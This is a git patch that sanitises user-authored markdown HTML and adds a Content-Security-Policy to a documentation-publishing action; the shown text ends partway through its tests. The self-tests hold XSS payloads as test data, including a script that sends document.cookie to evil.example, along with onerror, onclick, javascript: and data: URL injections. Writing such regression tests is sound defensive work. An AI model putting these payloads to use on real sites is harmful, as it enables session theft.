From 8a9583a705cd14ea178fb3e29b47f71b369ade17 Mon Sep 17 00:00:00 2001
From: Oto Macenauer <oto.macenauer@absa.africa>
Date: Fri, 14 Aug 2026 14:14:22 +0200
Subject: [PATCH 1/2] fix: sanitise single-page docs and serve a
 Content-Security-Policy
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The publishing action renders markdown with html:true and applied no
sanitisation. The result is re-hosted with set:html on the knowledge
base's own origin next to every other doc, and no CSP was set anywhere,
so a <script> or an <img onerror> in any onboarding repo's markdown ran
against every other team's page. markdown-it blocks javascript: in
markdown links, but raw HTML bypasses that entirely.

Rendered HTML now goes through an allowlist in the action, before it is
ever packed into an artifact. Raw HTML stays supported — only the subset
the doc stylesheet renders survives. contract/SINGLE_PAGE.md documents
exactly what is kept and what is dropped.

Behind that, the deployment serves a CSP whose point is script-src 'self'
with no 'unsafe-inline'. Two things had to change first. The action's
mermaid bootstrap moves from an inline <script> to assets/mermaid-init.js.
And bundles published before that change still carry the inline version —
verified against the sibling example repo's real artifact — so the
marketplace hoists any inline script it finds in a sub-app artifact into a
file at build time. Without that, enforcing the policy would have silently
killed every already-published doc's diagrams.

Verified in a browser against the real 2.5 MB mermaid bundle, on a doc
published by the old action: diagrams render, zero CSP violations.

style-src still allows 'unsafe-inline' — Base.astro's layer-ordering fix,
the shadow-DOM compat styles and sub-app style attributes are all inline,
and CSS is a much weaker primitive than script. Noted as follow-up work.

Also moves two step outputs in action.yml out of the run: script body and
into env. The values are validated kebab-case slugs today, so this was not
exploitable, but a ${{ }} expression is substituted into the shell text
before bash sees it, and that safety should not rest on a regex in another
file for a reusable action other repos run with contents: write.

Closes #42
Closes #55

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QqFK6yffibtCBTF8xZ4hXW
---
 AGENTS.md                                     |  12 ++
 CLAUDE.md                                     |   3 +
 actions/publish-single-page-docs/action.yml   |   8 +-
 .../package-lock.json                         | 190 +++++++++++++++++-
 actions/publish-single-page-docs/package.json |   1 +
 .../publish-single-page-docs/src/bundle.js    |  15 +-
 .../publish-single-page-docs/src/markdown.js  |  10 +-
 .../publish-single-page-docs/src/sanitize.js  | 127 ++++++++++++
 .../publish-single-page-docs/src/selftest.js  | 117 +++++++++++
 .../publish-single-page-docs/src/template.js  |  26 ++-
 contract/SINGLE_PAGE.md                       |  33 +++
 nginx.headers.conf                            |  31 ++-
 playwright.config.docker.js                   |   8 +-
 scripts/build-vite.js                         |  20 ++
 scripts/hoist-inline-scripts.js               | 106 ++++++++++
 scripts/setup-test-apps.mjs                   |  10 +-
 tests/build-integrity.spec.js                 |  69 ++++++-
 tests/container.spec.js                       |  89 ++++++++
 .../platform-overview/assets/mermaid-init.js  |  22 ++
 .../platform-overview/index.html              |  22 +-
 tests/fragment-server.mjs                     |  23 +++
 tests/nginx-config.spec.js                    |  20 ++
 22 files changed, 917 insertions(+), 45 deletions(-)
 create mode 100644 actions/publish-single-page-docs/src/sanitize.js
 create mode 100644 scripts/hoist-inline-scripts.js
 create mode 100644 tests/fixtures/single-page-bundle/platform-overview/assets/mermaid-init.js

diff --git a/AGENTS.md b/AGENTS.md
index 1b8d9ec..7dc2264 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -132,6 +132,18 @@ Artifacts come from other repositories' releases. Treat their HTML, CSS and
 archive contents as attacker-controlled: no unvalidated archive extraction, no
 unsanitised HTML re-hosting, no shell interpolation of registry values.
 
+### Nothing inline in the output
+
+The deployment serves `script-src 'self'` with no `'unsafe-inline'`. That holds
+only because no inline `<script>` survives into `dist/` — the publishing action
+emits its mermaid init as a file, and `scripts/hoist-inline-scripts.js` moves any
+inline script found in a sub-app artifact into one. A change that introduces an
+inline script fails `tests/build-integrity.spec.js` before it can start breaking
+pages silently in production.
+
+Inline `<style>` is still allowed (`style-src` keeps `'unsafe-inline'`); tightening
+that is a separate piece of work.
+
 ### Portability
 
 The build runs on Linux CI and on Windows developer machines. Prefer Node APIs
diff --git a/CLAUDE.md b/CLAUDE.md
index 0617256..001bd87 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -42,6 +42,8 @@ docker run -p 8080:8080 knowledge-base
 ```
 apps.json (registry)
   → [1] Fetch Release artifacts OR build local repos → apps/{slug}/
+  → [1b] Hoist inline <script> bodies → apps/{slug}/_kb-inline/*.js
+         (keeps script-src 'self' viable for already-published bundles)
   → [2] Copy non-HTML assets → public/{slug}/ (Astro serves as static)
   → [3] astro build: [...path].astro enumerates all HTML via getStaticPaths
          → transformSubAppHtml() rewrites URLs + splits the document,
@@ -76,6 +78,7 @@ Orchestrator: `scripts/build-vite.js`. Flags: `--local`, `--headless`, `--path-p
 - `scripts/build-vite.js` — Build orchestrator (3-step pipeline)
 - `scripts/fetch-apps.js` — GitHub Release artifact downloader
 - `scripts/artifacts.js` — Safe tarball extraction + tree copy, shared by both fetch paths. Validates archive members (no traversal, no absolute paths, no symlinks) before anything is written, and replaces the old `cp -r`/`tar` shell-outs so the build runs on Windows
+- `scripts/hoist-inline-scripts.js` — Moves inline `<script>` bodies in sub-app HTML into files before the Astro build, so the deployment can serve `script-src 'self'`. Needed because bundles published before the action stopped emitting an inline mermaid bootstrap still contain one
 - `actions/publish-single-page-docs/` — Reusable GitHub Action that turns a repo's markdown into a single-page bundle
 
 ### Three Onboarding Types
diff --git a/actions/publish-single-page-docs/action.yml b/actions/publish-single-page-docs/action.yml
index 9d56de9..8385429 100644
--- a/actions/publish-single-page-docs/action.yml
+++ b/actions/publish-single-page-docs/action.yml
@@ -74,6 +74,12 @@ runs:
         GH_TOKEN: ${{ inputs.github-token }}
         KB_RELEASE_TAG: ${{ inputs.release-tag }}
         KB_ARTIFACT: ${{ steps.build.outputs.artifact }}
+        # Read through the environment, never interpolated into the script body:
+        # a ${{ }} expression is substituted into the shell text before bash sees
+        # it, so any metacharacter in the value would execute rather than quote.
+        # These come from the consuming repo's `docs` input.
+        KB_COUNT: ${{ steps.build.outputs.count }}
+        KB_SLUGS: ${{ steps.build.outputs.slugs }}
       run: |
         set -euo pipefail
 
@@ -96,4 +102,4 @@ runs:
         gh release upload "$tag" "$KB_ARTIFACT" --clobber --repo "$GITHUB_REPOSITORY"
 
         echo "release-tag=$tag" >> "$GITHUB_OUTPUT"
-        echo "Published ${{ steps.build.outputs.count }} doc(s): ${{ steps.build.outputs.slugs }}" >> "$GITHUB_STEP_SUMMARY"
+        echo "Published $KB_COUNT doc(s): $KB_SLUGS" >> "$GITHUB_STEP_SUMMARY"
diff --git a/actions/publish-single-page-docs/package-lock.json b/actions/publish-single-page-docs/package-lock.json
index ba079ca..38d193d 100644
--- a/actions/publish-single-page-docs/package-lock.json
+++ b/actions/publish-single-page-docs/package-lock.json
@@ -1,11 +1,11 @@
 {
-  "name": "@absaoss/knowledge-base-publish-docs",
+  "name": "@absaoss/knowledge-base-publish-single-page-docs",
   "version": "1.0.0",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
-      "name": "@absaoss/knowledge-base-publish-docs",
+      "name": "@absaoss/knowledge-base-publish-single-page-docs",
       "version": "1.0.0",
       "license": "Apache-2.0",
       "dependencies": {
@@ -15,6 +15,7 @@
         "markdown-it-footnote": "4.0.0",
         "markdown-it-task-lists": "2.1.1",
         "mermaid": "11.4.1",
+        "sanitize-html": "2.17.0",
         "yaml": "2.7.1"
       }
     },
@@ -1015,6 +1016,15 @@
         }
       }
     },
+    "node_modules/deepmerge": {
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
+      "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
     "node_modules/delaunator": {
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.1.0.tgz",
@@ -1024,6 +1034,47 @@
         "robust-predicates": "^3.0.2"
       }
     },
+    "node_modules/dom-serializer": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+      "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
+      "license": "MIT",
+      "dependencies": {
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.2",
+        "entities": "^4.2.0"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/domhandler": {
+      "version": "5.0.3",
+      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+      "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "domelementtype": "^2.3.0"
+      },
+      "engines": {
+        "node": ">= 4"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domhandler?sponsor=1"
+      }
+    },
     "node_modules/dompurify": {
       "version": "3.4.13",
       "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.13.tgz",
@@ -1033,6 +1084,20 @@
         "@types/trusted-types": "^2.0.7"
       }
     },
+    "node_modules/domutils": {
+      "version": "3.2.2",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz",
+      "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==",
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "dom-serializer": "^2.0.0",
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
+      }
+    },
     "node_modules/entities": {
       "version": "4.5.0",
       "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
@@ -1045,6 +1110,18 @@
         "url": "https://github.com/fb55/entities?sponsor=1"
       }
     },
+    "node_modules/escape-string-regexp": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/exsolve": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.1.tgz",
@@ -1078,6 +1155,25 @@
         "node": ">=12.0.0"
       }
     },
+    "node_modules/htmlparser2": {
+      "version": "8.0.2",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz",
+      "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==",
+      "funding": [
+        "https://github.com/fb55/htmlparser2?sponsor=1",
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.3",
+        "domutils": "^3.0.1",
+        "entities": "^4.4.0"
+      }
+    },
     "node_modules/iconv-lite": {
       "version": "0.6.3",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
@@ -1099,6 +1195,15 @@
         "node": ">=12"
       }
     },
+    "node_modules/is-plain-object": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+      "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
     "node_modules/katex": {
       "version": "0.16.47",
       "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.47.tgz",
@@ -1319,12 +1424,36 @@
       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
       "license": "MIT"
     },
+    "node_modules/nanoid": {
+      "version": "3.3.18",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.18.tgz",
+      "integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "bin": {
+        "nanoid": "bin/nanoid.cjs"
+      },
+      "engines": {
+        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+      }
+    },
     "node_modules/package-manager-detector": {
       "version": "1.8.0",
       "resolved": "https://registry.npmjs.org/package-manager-detector/-/package-manager-detector-1.8.0.tgz",
       "integrity": "sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==",
       "license": "MIT"
     },
+    "node_modules/parse-srcset": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz",
+      "integrity": "sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q==",
+      "license": "MIT"
+    },
     "node_modules/path-data-parser": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/path-data-parser/-/path-data-parser-0.1.0.tgz",
@@ -1337,6 +1466,12 @@
       "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
       "license": "MIT"
     },
+    "node_modules/picocolors": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "license": "ISC"
+    },
     "node_modules/pkg-types": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.1.tgz",
@@ -1364,6 +1499,34 @@
         "points-on-curve": "0.2.0"
       }
     },
+    "node_modules/postcss": {
+      "version": "8.5.26",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.26.tgz",
+      "integrity": "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/postcss"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "nanoid": "^3.3.17",
+        "picocolors": "^1.1.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      }
+    },
     "node_modules/punycode.js": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz",
@@ -1419,6 +1582,29 @@
       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
       "license": "MIT"
     },
+    "node_modules/sanitize-html": {
+      "version": "2.17.0",
+      "resolved": "https://registry.npmjs.org/sanitize-html/-/sanitize-html-2.17.0.tgz",
+      "integrity": "sha512-dLAADUSS8rBwhaevT12yCezvioCA+bmUTPH/u57xKPT8d++voeYE6HeluA/bPbQ15TwDBG2ii+QZIEmYx8VdxA==",
+      "license": "MIT",
+      "dependencies": {
+        "deepmerge": "^4.2.2",
+        "escape-string-regexp": "^4.0.0",
+        "htmlparser2": "^8.0.0",
+        "is-plain-object": "^5.0.0",
+        "parse-srcset": "^1.0.2",
+        "postcss": "^8.3.11"
+      }
+    },
+    "node_modules/source-map-js": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+      "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
     "node_modules/stylis": {
       "version": "4.4.0",
       "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.4.0.tgz",
diff --git a/actions/publish-single-page-docs/package.json b/actions/publish-single-page-docs/package.json
index 10d1786..9ea15b8 100644
--- a/actions/publish-single-page-docs/package.json
+++ b/actions/publish-single-page-docs/package.json
@@ -15,6 +15,7 @@
     "markdown-it-footnote": "4.0.0",
     "markdown-it-task-lists": "2.1.1",
     "mermaid": "11.4.1",
+    "sanitize-html": "2.17.0",
     "yaml": "2.7.1"
   }
 }
diff --git a/actions/publish-single-page-docs/src/bundle.js b/actions/publish-single-page-docs/src/bundle.js
index dac0859..bb074a8 100644
--- a/actions/publish-single-page-docs/src/bundle.js
+++ b/actions/publish-single-page-docs/src/bundle.js
@@ -6,7 +6,9 @@
  *   bundle.json                 ← manifest listing every doc in this bundle
  *   {slug}/index.html           ← headless document
  *   {slug}/assets/doc.css
- *   {slug}/assets/mermaid.min.js  (only when that doc uses mermaid)
+ *   {slug}/assets/mermaid.min.js   (only when that doc uses mermaid)
+ *   {slug}/assets/mermaid-init.js  (ditto — kept out of the HTML so the
+ *                                   marketplace can run script-src 'self')
  *
  * One release asset carries every doc from the repo; the knowledge base expands
  * the manifest into one marketplace app per doc (see contract/SINGLE_PAGE.md).
@@ -18,7 +20,9 @@ import { createRequire } from 'node:module';
 import { basename, dirname, join } from 'node:path';
 
 import { renderMarkdown } from './markdown.js';
-import { CSS_PATH, DOC_CSS, MERMAID_PATH, renderDocument } from './template.js';
+import {
+  CSS_PATH, DOC_CSS, MERMAID_INIT_JS, MERMAID_INIT_PATH, MERMAID_PATH, renderDocument,
+} from './template.js';
 
 const require = createRequire(import.meta.url);
 
@@ -56,7 +60,12 @@ export function buildBundle(docs, stageDir) {
     }));
     writeFileSync(join(docDir, CSS_PATH), DOC_CSS);
 
-    if (usesMermaid) copyFileSync(resolveMermaidBundle(), join(docDir, MERMAID_PATH));
+    if (usesMermaid) {
+      copyFileSync(resolveMermaidBundle(), join(docDir, MERMAID_PATH));
+      // The init runs from a file, not an inline <script>, so the marketplace
+      // can serve these pages under script-src 'self'.
+      writeFileSync(join(docDir, MERMAID_INIT_PATH), MERMAID_INIT_JS);
+    }
 
     rendered.push({ ...doc, usesMermaid });
   }
diff --git a/actions/publish-single-page-docs/src/markdown.js b/actions/publish-single-page-docs/src/markdown.js
index e788c35..6069977 100644
--- a/actions/publish-single-page-docs/src/markdown.js
+++ b/actions/publish-single-page-docs/src/markdown.js
@@ -15,6 +15,7 @@ import footnote from 'markdown-it-footnote';
 import taskLists from 'markdown-it-task-lists';
 import hljs from 'highlight.js';
 
+import { sanitizeDocHtml } from './sanitize.js';
 import { escapeHtml } from './template.js';
 
 /** Language aliases authors reach for that highlight.js does not know verbatim. */
@@ -33,7 +34,12 @@ const LANG_ALIASES = {
  */
 function createRenderer(state) {
   const md = new MarkdownIt({
-    html: true,       // authors may drop in raw HTML — GFM allows it
+    // Authors may drop in raw HTML — GFM allows it. Everything this produces is
+    // put through an allowlist in sanitize.js before it leaves the action: the
+    // rendered doc is re-hosted on the knowledge base's own origin alongside
+    // every other doc, so unsanitised markup from any onboarding repo would be
+    // script execution against all of them.
+    html: true,
     linkify: true,    // bare URLs become links (GFM autolinks)
     breaks: false,
     typographer: false,
@@ -101,7 +107,7 @@ function createRenderer(state) {
 export function renderMarkdown(source) {
   const state = { usesMermaid: false };
   const md = createRenderer(state);
-  const html = md.render(source);
+  const html = sanitizeDocHtml(md.render(source));
   return {
     html,
     usesMermaid: state.usesMermaid,
diff --git a/actions/publish-single-page-docs/src/sanitize.js b/actions/publish-single-page-docs/src/sanitize.js
new file mode 100644
index 0000000..c091c20
--- /dev/null
+++ b/actions/publish-single-page-docs/src/sanitize.js
@@ -0,0 +1,127 @@
+/**
+ * sanitize.js — allowlist sanitiser for rendered doc HTML.
+ *
+ * WHY
+ *
+ * The renderer runs markdown-it with `html: true`, because GitHub-flavoured
+ * markdown lets authors drop in raw HTML and docs in the wild rely on it. The
+ * output is then re-hosted by the knowledge base with `set:html`, on the
+ * knowledge base's own origin, alongside every other doc.
+ *
+ * That makes the trust boundary every repository that onboards — and the blast
+ * radius the whole knowledge base, since all docs share one origin. A `<script>`
+ * or an `<img onerror>` in any repo's markdown would otherwise run against every
+ * other doc's page. markdown-it's own `validateLink` blocks `javascript:` in
+ * *markdown* links, but raw HTML bypasses it entirely.
+ *
+ * So raw HTML stays supported, but only the subset the doc stylesheet actually
+ * renders survives. Anything else is dropped at publish time, in the action,
+ * before it is ever packed into an artifact.
+ *
+ * WHAT SURVIVES
+ *
+ * The tags markdown-it emits for the features contract/SINGLE_PAGE.md promises
+ * (tables, task lists, footnotes, anchors, highlighted code, mermaid), plus the
+ * common structural and inline HTML an author might hand-write. Class and id
+ * attributes are kept because the rendering pipeline depends on them —
+ * `mp-code`, `mp-anchor`, `hljs-*`, `task-list-item`, `footnotes`, heading ids.
+ */
+
+import sanitizeHtml from 'sanitize-html';
+
+/**
+ * Attributes safe on any element.
+ *
+ * `class` and `id` carry no script; they are what the doc stylesheet, the anchor
+ * plugin and highlight.js all key off. Event handlers (`on*`) are not listed
+ * anywhere and sanitize-html drops unlisted attributes.
+ */
+const GLOBAL_ATTRIBUTES = ['class', 'id', 'title', 'dir', 'lang'];
+
+const OPTIONS = {
+  allowedTags: [
+    // Structure
+    'section', 'article', 'aside', 'div', 'p', 'br', 'hr', 'span',
+    'details', 'summary', 'figure', 'figcaption', 'blockquote',
+    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
+    // Lists
+    'ul', 'ol', 'li', 'dl', 'dt', 'dd',
+    // Tables
+    'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'caption', 'colgroup', 'col',
+    // Inline
+    'a', 'em', 'strong', 'b', 'i', 'u', 's', 'del', 'ins', 'mark', 'small',
+    'sub', 'sup', 'abbr', 'cite', 'q', 'kbd', 'samp', 'var', 'time',
+    // Code — `pre.mermaid` is how a diagram source reaches the vendored renderer
+    'pre', 'code',
+    // Media
+    'img',
+    // Task lists render a disabled checkbox followed by its label — without the
+    // label the checkbox loses its accessible name and its click target.
+    'input', 'label',
+  ],
+
+  allowedAttributes: {
+    '*': GLOBAL_ATTRIBUTES,
+    a: [...GLOBAL_ATTRIBUTES, 'href', 'name', 'target', 'rel'],
+    img: [...GLOBAL_ATTRIBUTES, 'src', 'alt', 'width', 'height', 'loading', 'decoding'],
+    // markdown-it-task-lists emits <input type="checkbox" disabled [checked]>.
+    // No name/value: these are display-only, never submitted.
+    input: [...GLOBAL_ATTRIBUTES, 'type', 'checked', 'disabled'],
+    label: [...GLOBAL_ATTRIBUTES, 'for'],
+    th: [...GLOBAL_ATTRIBUTES, 'colspan', 'rowspan', 'scope', 'align'],
+    td: [...GLOBAL_ATTRIBUTES, 'colspan', 'rowspan', 'align'],
+    ol: [...GLOBAL_ATTRIBUTES, 'start', 'reversed', 'type'],
+    li: [...GLOBAL_ATTRIBUTES, 'value'],
+    time: [...GLOBAL_ATTRIBUTES, 'datetime'],
+    abbr: [...GLOBAL_ATTRIBUTES, 'title'],
+    details: [...GLOBAL_ATTRIBUTES, 'open'],
+    col: [...GLOBAL_ATTRIBUTES, 'span'],
+    colgroup: [...GLOBAL_ATTRIBUTES, 'span'],
+  },
+
+  // No `style` attribute anywhere: it is the remaining injection surface once
+  // scripts are gone (CSS can exfiltrate via url(), and it lets a doc break out
+  // of its reading column and cover the masthead).
+  allowedStyles: {},
+
+  // `data:` is not here on purpose — a data: URI is an arbitrary document, and
+  // an <img> is not worth that. `mailto:` and `tel:` are ordinary doc content.
+  allowedSchemes: ['http', 'https', 'mailto', 'tel'],
+  allowedSchemesAppliedToAttributes: ['href', 'src'],
+  // A protocol-relative //evil.example URL inherits the page's scheme; treat it
+  // as a URL needing an allowed scheme rather than a bare path.
+  allowProtocolRelative: false,
+
+  // Keep the text of a dropped tag — losing a paragraph because it was wrapped
+  // in something unsupported is a worse failure than losing the wrapper.
+  nonTextTags: ['style', 'script', 'textarea', 'option', 'noscript'],
+
+  transformTags: {
+    // Re-assert what markdown.js sets on external links. An author writing raw
+    // <a target="_blank"> without rel exposes the opener; sanitising is the last
+    // place that can be guaranteed.
+    a(tagName, attribs) {
+      if (attribs.target === '_blank') attribs.rel = 'noopener noreferrer';
+      return { tagName, attribs };
+    },
+    // Task-list checkboxes are the only inputs markdown produces, and they are
+    // always disabled. Anything else claiming to be an input is not a doc.
+    input(tagName, attribs) {
+      if (attribs.type !== 'checkbox') return { tagName: 'span', attribs: {} };
+      return { tagName, attribs: { ...attribs, disabled: 'disabled' } };
+    },
+  },
+};
+
+/**
+ * Strips everything outside the allowlist from rendered doc HTML.
+ *
+ * @param {string} html - output of the markdown renderer
+ * @returns {string}
+ */
+export function sanitizeDocHtml(html) {
+  return sanitizeHtml(html, OPTIONS);
+}
+
+/** Exported for the self-test, so the allowlist is asserted rather than described. */
+export const SANITIZE_OPTIONS = OPTIONS;
diff --git a/actions/publish-single-page-docs/src/selftest.js b/actions/publish-single-page-docs/src/selftest.js
index a58f4d3..7c7c4e6 100644
--- a/actions/publish-single-page-docs/src/selftest.js
+++ b/actions/publish-single-page-docs/src/selftest.js
@@ -17,6 +17,7 @@ import { join } from 'node:path';
 
 import { buildBundle, packBundle, BUNDLE_MANIFEST } from './bundle.js';
 import { InputError, parseDocsInput, validateDocs } from './inputs.js';
+import { renderMarkdown } from './markdown.js';
 
 const SAMPLE = `# Service Overview
 
@@ -185,6 +186,20 @@ try {
     assert.ok(existsSync(join(stage, 'my-service', 'assets', 'mermaid.min.js')), 'mermaid not vendored');
   });
 
+  check('ships the mermaid init as a file, so the document has no inline script', () => {
+    assert.match(html, /<script src="assets\/mermaid-init\.js">/);
+    assert.ok(
+      existsSync(join(stage, 'my-service', 'assets', 'mermaid-init.js')),
+      'mermaid init not written',
+    );
+    // Every <script> must carry a src. An inline one would force the
+    // marketplace's CSP to allow script-src 'unsafe-inline', which would allow
+    // an injected script too.
+    for (const [tag] of html.matchAll(/<script\b[^>]*>/g)) {
+      assert.match(tag, /\bsrc=/, `inline <script> in the document: ${tag}`);
+    }
+  });
+
   check('ships the doc stylesheet alongside the page', () => {
     assert.match(html, /<link rel="stylesheet" href="assets\/doc\.css">/);
     const css = readFileSync(join(stage, 'my-service', 'assets', 'doc.css'), 'utf8');
@@ -196,6 +211,108 @@ try {
     const tar = packBundle(stage, join(root, 'out', 'dist.tar.gz'));
     assert.ok(existsSync(tar));
   });
+
+  // ── Sanitisation ───────────────────────────────────────────────────────────
+  //
+  // markdown-it runs with html:true, and the result is re-hosted on the
+  // knowledge base's own origin next to every other doc. Anything that executes
+  // here executes against all of them, so the allowlist is asserted rather than
+  // described. Each case is markdown a doc repo could commit today.
+  console.log('\nSanitisation');
+
+  const rendered = (md) => renderMarkdown(md).html;
+
+  check('strips a raw <script> block', () => {
+    const html = rendered('Intro\n\n<script>fetch("https://evil.example?c="+document.cookie)</script>\n');
+    assert.doesNotMatch(html, /<script/i);
+    assert.doesNotMatch(html, /evil\.example/);
+    assert.match(html, /Intro/, 'surrounding prose must survive');
+  });
+
+  check('strips event-handler attributes', () => {
+    const html = rendered('<img src="x.png" onerror="alert(1)">\n\n<div onclick="alert(2)">text</div>\n');
+    assert.doesNotMatch(html, /onerror/i);
+    assert.doesNotMatch(html, /onclick/i);
+    assert.doesNotMatch(html, /alert\(/);
+    assert.match(html, /<img[^>]+src="x\.png"/, 'the image itself is legitimate content');
+  });
+
+  check('strips javascript: and data: URLs from raw HTML', () => {
+    const html = rendered('<a href="javascript:alert(1)">click</a>\n\n<img src="data:text/html,<script>alert(1)</script>">\n');
+    assert.doesNotMatch(html, /javascript:/i);
+    assert.doesNotMatch(html, /data:text\/html/i);
